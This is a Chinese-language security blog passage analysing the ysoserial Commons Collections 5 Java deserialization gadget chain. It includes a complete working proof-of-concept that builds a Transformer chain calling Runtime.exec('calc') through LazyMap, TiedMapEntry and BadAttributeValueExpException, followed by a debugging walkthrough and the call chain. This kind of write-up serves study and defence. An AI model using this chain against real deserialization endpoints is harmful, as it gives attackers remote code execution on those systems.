1. 程式人生 > >Java安全之Commons Collections5分析

Java安全之Commons Collections5分析

# Java安全之Commons Collections5分析 文章首發:[Java安全之Commons Collections5分析](https://www.anquanke.com/post/id/220697#h2-0) ## 0x00 前言 在後面的幾條CC鏈中,如果和前面的鏈構造都是基本一樣的話,就不細講了,參考一下前面的幾篇文。 在CC5鏈中ysoserial給出的提示是需要JDK1.8並且`SecurityManager`需要是關閉的。先來介紹一下`SecurityManager`是幹嘛的。`SecurityManager`也就是java的安全管理器,當執行未知的Java程式的時候,該程式可能有惡意程式碼(刪除系統檔案、重啟系統等),為了防止執行惡意程式碼對系統產生影響,需要對執行的程式碼的許可權進行控制,這時候就要啟用Java安全管理器。該管理器預設是關閉的。 ## 0x01 POC分析 ```java package com.test; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import javax.management.BadAttributeValueExpException; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap; public class cc5 { public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc"})}); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap); try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5")); outputStream.writeObject(poc); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } } } ``` 前面的上半段和CC1鏈是一模一樣的,主要來分析在這兩者中不同的部分。 ``` HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap); ``` 前面的new了一個`HashMap`傳入到`LazyMap`裡面,同時也傳入了` ChainedTransformer`例項化物件,當呼叫get方法的時候,就會呼叫到` ChainedTransformer`的`transform`f方法,這個沒啥好說的,老面孔了。前面也分析過好幾回了。主要的是下面的這一段程式碼。 ```java TiedMapEntry tiedmap = new TiedMapEntry(map,123); BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap); ``` `TiedMapEntry`是一個新生面孔,來檢視一下該類原始碼。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123032470-1603095212.png) 該類的構造方法需要2個引數。所以我們的POC程式碼中,傳入了一個`LazyMap`例項化物件和一個`123`的字元做佔位。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123051156-1238406521.png) 而在`getValue`方法裡面就會去呼叫到剛剛賦值的map類get方法。前面我們傳入的是`LazyMap`物件,這時候呼叫get方法的話,就和前面的串聯起來達成命令執行了。這裡先不做分析,來到下一步,檢視一下,哪個地方會呼叫到該方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123101545-1952199217.png) 而在`toString`方法裡面就會去呼叫到`getValue`方法。 ```java BadAttributeValueExpException poc = new BadAttributeValueExpException(1); Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); val.setAccessible(true); val.set(poc,tiedmap); ``` 再來看下面一段程式碼,new了一個`BadAttributeValueExpException`的物件,並且反射獲取`val`的值,將`val`的值設定為`TiedMapEntry`例項化物件。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123123135-35893077.png) 在`BadAttributeValueExpException`的`readObject`方法會獲取到`val`的值,然後賦值給`valObj`變數,然後呼叫`valObj`的`toString`方法。 ## 0x02 CC5鏈除錯 在`readObject`複寫點打個斷點,也就是`BadAttributeValueExpException`的`readObject`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123132749-600135804.png) 上面斷點的地方會去獲取`val`的值,賦值給`valObj`,前面我們使用反射將`val`設定為`TiedMapEntry`的物件。 這裡會去呼叫`valObj`的`toString`方法,也就是`TiedMapEntry`的`toString`方法。跟進一下該方法,檢視呼叫。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123140490-4161048.png) 這裡面會去呼叫`getKey`和`getValue`方法,這裡選擇跟蹤`getValue`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123150235-1221104244.png) 這裡的`this.map`為`LazyMap`例項化物件,是在建立`TiedMapEntry`物件的時候傳參進去的。再跟進一下get方法就和前面除錯CC1鏈的步驟一樣了。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123201680-206751594.png) 這裡會去呼叫`this.factory`的`transform`,也就是`ChainedTransformer`的`transform`。再來跟進一下。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123210915-464942657.png) 接著就是遍歷呼叫數組裡面的`transform`方法。第一個值為`ConstantTransformer`,會直接返回傳參的值。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123219530-1197764924.png) 這裡返回的是`Runtime`,將該值傳入第二次的引數裡面呼叫`transform`方法。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123227230-616194092.png) ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123235595-1046349558.png) 第二次遍歷的值是`InvokerTransformer`物件, 這裡的`transform`方法會反射去獲取方法並且進行執行。第二次執行返回的是`Runtime.getRuntime`的例項化物件。再傳入到第三次執行的引數裡面去執行。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123243830-1922689431.png) 第三次去執行則是獲取返回他的`invoke`方法,傳入給第四次執行的引數裡面。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123250420-1267937469.png) 第四次執行裡面的`this.iMethodName`為`exec`,`this.iArgs`為`calc`。執行完成這一步過後就會去執行我們設定好的命令,也就是calc。彈出計算器。 ![](https://img2020.cnblogs.com/blog/1993669/202010/1993669-20201028123258295-875968310.png) ### 呼叫鏈 ``` BadAttributeValueExpException.readObject->TiedMapEntry.toString ->LazyMap.get->ChainedTransformer.transform ->ConstantTransformer.transform->InvokerTransformer.transform ->Method.invoke->Class.getMethod ->InvokerTransformer.transform->Method.invoke ->Runtime.getRuntime-> InvokerTransformer.transform ->Method.invoke->Runtime.exec ``` ## 0x03 結尾 其實在該鏈的後面中,並沒有寫太詳細,因為後面和CC1鏈中的都是一模一樣的。如果沒有去除錯過的話,建議先去除錯一下C